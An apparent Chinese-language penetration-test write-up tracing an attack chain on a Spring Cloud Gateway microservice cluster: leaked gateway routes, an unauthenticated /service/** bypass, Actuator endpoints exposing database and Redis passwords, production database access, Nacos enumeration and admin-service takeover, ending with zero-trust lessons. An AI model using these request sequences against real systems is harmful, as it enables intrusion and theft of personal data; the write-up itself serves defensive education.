0x00 前言
当企业把所有的信任都押在一道门上的时候,门的任何一道裂缝,都意味着整栋房子的失守。
微服务架构下,有一种根深蒂固的安全假设:"Gateway 负责统一认证,后端服务天然安全。" 这句话听起来合情合理——所有外部请求都经过 Gateway ,由 Gateway 完成身份校验和权限拦截,后端微服务只需要安心处理业务逻辑。但问题是:如果 Gateway 本身配置错误,或者存在一条绕过 Gateway 直达后端的路径,那后端那些"天然安全"的服务,就变成了一个个敞开着大门的房间。
这篇文章记录了一次授权渗透测试中,从一个暴露在外网的 Spring Cloud Gateway 出发,通过路由信息泄露发现内部服务拓扑,随后找到了绕过 Gateway 认证直接访问后端微服务的路径,进而利用 Spring Boot Actuator 获取数据库凭据,最终通过 Nacos 服务注册中心横向渗透至管理服务,实现核心业务数据全面获取的完整过程。
整条攻击链的核心问题只有一个:API Gateway 的安全边界没有覆盖全部流量路径,存在绕行通道。但就是这一个问题,让整个微服务集群的认证体系形同虚设。
0x01 项目背景
随着微服务架构的普及,越来越多企业采用以下技术栈构建业务系统:
Spring Cloud Gateway —— API网关,负责统一路由和认证
Nacos / Eureka —— 服务注册与发现中心
Spring Boot —— 微服务应用框架
MySQL / Redis —— 数据存储与缓存
典型架构如下:

企业通常认为:Gateway 负责统一认证,后端服务天然安全——所有外部请求都经过 Gateway 拦截,后端微服务不需要各自实现认证逻辑。
这个假设在 Gateway 配置正确、路由无遗漏的前提下是成立的。但实际环境中,Gateway 的配置错误、路由遗漏、或者存在未经过 Gateway 的直连路径,就可能导致整个微服务体系暴露。
而本次测试要验证的,正是这个假设到底能不能站得住脚。
0x02 资产发现:找到 Gateway 入口
拿到授权范围后,按惯例开始资产梳理。在子域名枚举和端口扫描的结果中,有三个子域名引起了我的注意:
gateway.xxx.com
api.xxx.com
service.xxx.com
其中 gateway.xxx.com 的响应头中带有明显的 Spring Cloud Gateway 特征:
HTTP/1.1 200
Server: Gateway
X-Application-Context: gateway:8080
Spring Cloud Gateway ——目标存在微服务网关,且直接暴露在外网。
进一步访问根路径,返回了 Gateway 的默认 Whitelabel 页面,确认了指纹信息。
这是一个关键的起点——如果 Gateway 是整个微服务集群的"前门",那么需要做的事情就是:搞清楚这扇门到底挡住了什么,以及有没有什么路径可以绕过它。

0x03 Gateway 路由信息泄露:一张完整的内部地图
Gateway 作为 API 路由的核心组件,它的路由配置表就是整个微服务集群的"地图"——哪些服务存在、服务的内部地址是什么、哪些路径被转发到哪些服务,全部记录在这张表里。
而 Spring Cloud Gateway 默认暴露了 Actuator 端点,其中 /actuator/gateway/routes 会返回完整的路由配置。
尝试访问:
GET /actuator/gateway/routes HTTP/1.1
Host: gateway.xxx.com
返回 200 ,完整的路由配置一览无余:
[
{
"route_id": "user-service",
"uri": "http://user-service:8080",
"predicates": [
"Path=/api/user/**"
],
"filters": [
"StripPrefix=1"
]
},
{
"route_id": "order-service",
"uri": "http://order-service:8081",
"predicates": [
"Path=/api/order/**"
],
"filters": [
"StripPrefix=1"
]
},
{
"route_id": "file-service",
"uri": "http://file-service:8082",
"predicates": [
"Path=/api/file/**"
],
"filters": [
"StripPrefix=1"
]
},
{
"route_id": "admin-service",
"uri": "http://admin-service:8083",
"predicates": [
"Path=/api/admin/**"
],
"filters": [
"StripPrefix=1"
]
}
]
四个后端微服务的内部地址、端口和路由规则全部泄露。这相当于攻击者拿到了一张完整的内部架构蓝图——知道有哪些服务、服务之间如何通信、哪些路径对应哪些服务。

但更关键的信息藏在路由规则的细节中:所有路由都只匹配 /api/** 前缀的路径,且认证过滤器(如 RequestRateLimiter 、自定义 AuthFilter )仅挂载在部分路由上。这意味着可能存在不经过认证过滤器的路径——这是下一步攻击的关键线索。
0x04 绕过 Gateway 认证访问内部服务:找到那条"暗道"
拿到路由配置后,开始系统性地测试每条路径的认证情况。
正常请求:经过 Gateway 认证
GET /api/user/list HTTP/1.1
Host: gateway.xxx.com
HTTP/1.1 401 Unauthorized
{"message":"未授权访问,请先登录"}
正常路径需要携带 Authorization Token ,Gateway 的认证过滤器生效了。
探测绕过路径
根据路由配置中的信息,我注意到 Gateway 的路由匹配规则使用了 Path=/api/** 前缀。这意味着如果存在其他前缀的路径能直接映射到后端服务,就可能绕过 Gateway 的认证过滤器。
逐一测试各种路径变体:
/api/user/list → 401 (需要认证)
/v1/user/list → 404 (未匹配)
/service/user/query → ???

当尝试 /service/user/query 这个路径时:
GET /service/user/query HTTP/1.1
Host: gateway.xxx.com
HTTP/2 200 OK
Content-Type: application/json
{
"code": 200,
"data": {
"users": [
{"username":"zhangxm","email":"zhang@xxx.com","role":"USER"},
{"username":"lisi","email":"li@xxx.com","role":"USER"},
{"username":"admin","email":"admin@xxx.com","role":"ADMIN"}
]
}
}
没有携带任何 Token ,没有经过认证过滤器,直接返回了用户数据。

这条路径绕过了 Gateway 的认证机制—— /service/** 前缀的路由没有挂载认证过滤器,请求被直接转发到了后端用户服务。后端服务本身没有实现独立的认证逻辑(因为它"信任" Gateway 已经完成了认证),所以对这个"从 Gateway 来的"请求直接放行。
Gateway 配置了一个没有认证保护的路由规则,而后端服务对 Gateway 转发的请求无条件信任——两者的配置缺陷叠加,形成了一条绕过认证的"暗道"。
0x05 Spring Actuator 信息泄露:后端服务的"裸奔"
找到绕过路径后,后端服务的地址(来自路由泄露),也知道后端服务没有独立的认证。那么接下来要做的事情就是:直接探测后端服务暴露了哪些接口。
由于路由泄露后端服务的内部名称和端口,通过 Gateway 构造请求来探测后端服务的 Actuator 端点:
GET /service/user/actuator/env HTTP/1.1
Host: gateway.xxx.com
返回 200 ——后端用户服务的 Actuator 环境变量端点完全开放:
{
"propertySources": [
{
"name": "systemProperties",
"properties": {
"MYSQL_HOST": {"value": "rm-xxxxxx.mysql.rds.aliyuncs.com"},
"MYSQL_PORT": {"value": "3306"},
"MYSQL_DATABASE": {"value": "biz_user"},
"MYSQL_USER": {"value": "app_rw"}
}
},
{
"name": "applicationConfig",
"properties": {
"spring.datasource.url": {"value": "jdbc:mysql://rm-xxxxxx.mysql.rds.aliyuncs.com:3306/biz_user"},
"spring.datasource.username": {"value": "app_rw"},
"spring.datasource.password": {"value": "Xk9#mP2$vL5nQ8"},
"spring.redis.host": {"value": "r-xxxxxx.redis.rds.aliyuncs.com"},
"spring.redis.password": {"value": "R3dis@Pr0d#2024"}
}
}
]
}
数据库连接地址、用户名、明文密码, Redis 地址和密码——全部泄露。
随后继续探测其他 Actuator 端点:
/actuator/env --->环境变量、数据库凭据、Redis密码
/actuator/configprops --->完整的应用配置属性
/actuator/health --->各组件健康状态(间接暴露哪些组件在运行)
/actuator/mappings --->所有API端点映射关系
/actuator/beans --->Spring Bean列表(暴露完整的服务内部结构)
一个后端微服务的 Actuator ,等于一份完整的应用内部信息手册。

0x06 获取数据库访问权限:核心数据的全面暴露
根据 Actuator 泄露的数据库凭据,直接连接了生产数据库:
mysql -h rm-xxxxxx.mysql.rds.aliyuncs.com -u app_rw -p
Welcome to the MySQL monitor.
mysql> SHOW DATABASES;
+--------------------+
| biz_user |
| biz_order |
| biz_payment |
| biz_file |
+--------------------+
USE biz_user;
SHOW TABLES;
+---------------------+
| Tables_in_biz_user |
+---------------------+
| user_info |
| user_auth |
| user_address |
| user_bank_card |
+---------------------+
逐表查看数据结构和数据量:
SELECT COUNT(*) FROM user_info;
-- 52318条用户记录
SELECT id, real_name, phone, id_card, email FROM user_info LIMIT 5;
+------+----------+-------------+--------------------+----------------+
| id | real_name| phone | id_card | email |
+------+----------+-------------+--------------------+----------------+
| 1 | 张** | 138*******8 | 31****199001**** | zhang@xxx.com |
| 2 | 李** | 139*******1 | 32****198812**** | li@xxx.com |
+------+----------+-------------+--------------------+----------------+
除了用户基础信息外, user_bank_card 表中还包含银行卡号, user_auth 表中包含密码哈希和身份验证信息, biz_order 和 biz_payment 数据库中包含完整的交易和支付记录。
通过 Gateway 绕过 → Actuator 泄露 → 数据库凭据获取,已经完整拿到了多个业务数据库的访问权限。
0x07 服务横向移动:Nacos 注册中心的"全景视角"
数据库已经到手,但测试的目标不止于此——要验证的是整个微服务集群的横向渗透能力。
在继续探测其他后端服务时,注意到 Actuator 的配置信息中暴露了一个关键组件的地址:
spring.cloud.nacos.discovery.server-addr=nacos.internal.xxx.com:8848
Nacos ——阿里巴巴开源的服务注册与发现中心,整个微服务集群的"中枢"。它知道每一个微服务的名称、地址和端口。
直接访问 Nacos 的开放 API:
GET /nacos/v1/ns/instance/list?serviceName=user-service HTTP/1.1
Host: nacos.internal.xxx.com:8848
{
"hosts": [
{"ip": "10.*.*.11", "port": 8080, "serviceName": "user-service"},
{"ip": "10.*.*.12", "port": 8080, "serviceName": "user-service"}
]
}
继续枚举全部注册服务:
GET /nacos/v1/ns/service/list?pageNo=1&pageSize=100 HTTP/1.1
Host: nacos.internal.xxx.com:8848
返回了完整的微服务列表:
┌─────────────────────────────────────────────────┐
│ Nacos 服务注册列表 │
├───────────────┬──────────────┬──────────────────┤
│ 服务名称 │ 实例IP │ 端口 │
├───────────────┼──────────────┼──────────────────┤
│ user-service │ 10.*.*.11-12 │ 8080 │
│ order-service │ 10.*.*.21-22 │ 8081 │
│ file-service │ 10.*.*.31 │ 8082 │
│ admin-service │ 10.*.*.41 │ 8083 │
│ payment-svc │ 10.*.*.51-52 │ 8084 │
│ notify-worker │ 10.*.*.61 │ 8085 │
└───────────────┴──────────────┴──────────────────┘
六个微服务的完整拓扑——名称、内网 IP 、端口——全部暴露。
凭借这些信息,继续通过 Gateway 的路由绕过路径访问其他后端服务。在逐一测试后,确认 /service/order/ 和 /service/admin/ 路径同样存在认证绕过问题。

0x08 核心业务数据访问:管理服务的全面沦陷
最终目标指向了 admin-service ——管理服务,它通常是整个微服务集群中权限最高、数据最敏感的节点。
通过绕过路径访问管理服务:
GET /service/admin/dashboard HTTP/1.1
Host: gateway.xxx.com
{
"code": 200,
"data": {
"totalUsers": 52318,
"totalOrders": 128456,
"todayRevenue": 156800.50,
"activeAdmins": 3
}
}
管理后台仪表盘数据直接返回,无需任何认证。
继续枚举管理服务的接口:
/service/admin/users 用户管理 完整用户列表,含姓名、手机号、身份证
/service/admin/orders 订单管理 全部订单详情,含金额、状态、支付信息
/service/admin/export/users 用户数据导出 支持批量导出全量用户数据
/service/admin/config 系统配置 各组件连接配置与凭据
管理服务的全部功能——用户管理、订单管理、数据导出、系统配置——均未做独立的权限校验,对任何到达的请求直接返回数据。

0x09 完整攻击链总结
Gateway暴露于公网
↓
/actuator/gateway/routes 路由信息泄露
↓
发现 /service/** 路径未挂载认证过滤器
↓
绕过Gateway认证,直接访问后端微服务
↓
后端服务Actuator暴露,获取数据库/Redis凭据
↓
连接生产数据库,获取全量业务数据
↓
通过Nacos注册中心发现全部微服务拓扑
↓
横向渗透至admin-service管理服务
↓
管理后台全面沦陷:用户管理、数据导出、系统配置
整条攻击链的核心矛盾在于一个安全假设的崩塌:企业假设"Gateway 负责认证,后端服务不需要认证",但 Gateway 本身存在认证绕过路径。当这道唯一的防线被绕过后,后端所有微服务都处于"零认证"的状态——它们无条件信任来自 Gateway 的请求,而攻击者找到了一条不经认证过滤器就能到达后端的路径。
这不是一个"漏洞"的问题,而是一个架构层面的安全设计缺陷——零信任原则的缺失。在零信任架构下,每一个服务都应该独立验证请求的身份,而不是把全部信任押在单一的网关组件上。
结语
这次渗透测试最核心的发现,不是某个具体的漏洞,而是一个架构层面的安全假设的脆弱性。
"Gateway 负责认证,后端服务天然安全"——这句话在很多技术方案评审中被当作"已解决"的前提条件。但现实是,Gateway 的配置可能出错,路由规则可能遗漏,Actuator 可能忘记关闭,而这些"可能"中的任何一个,都会导致整个微服务体系的认证体系全面崩塌。
零信任不是一个"可选项",而是在微服务架构下的"必选项"。每一个服务都应该假设:到达我的请求可能不是来自可信的 Gateway ,可能是来自一个绕过了认证的攻击者。因此,每一个服务都应该独立验证请求的身份和权限。
把全部鸡蛋放在一个篮子里的前提是——你必须确保这个篮子永远不会破。但在真实的安全对抗中,没有任何一个篮子是永远安全的。如果你对这类微服务安全实践感兴趣,也可以到云栈社区翻一翻其他工程师的复盘记录,会有不少真实一线的坑值得参考。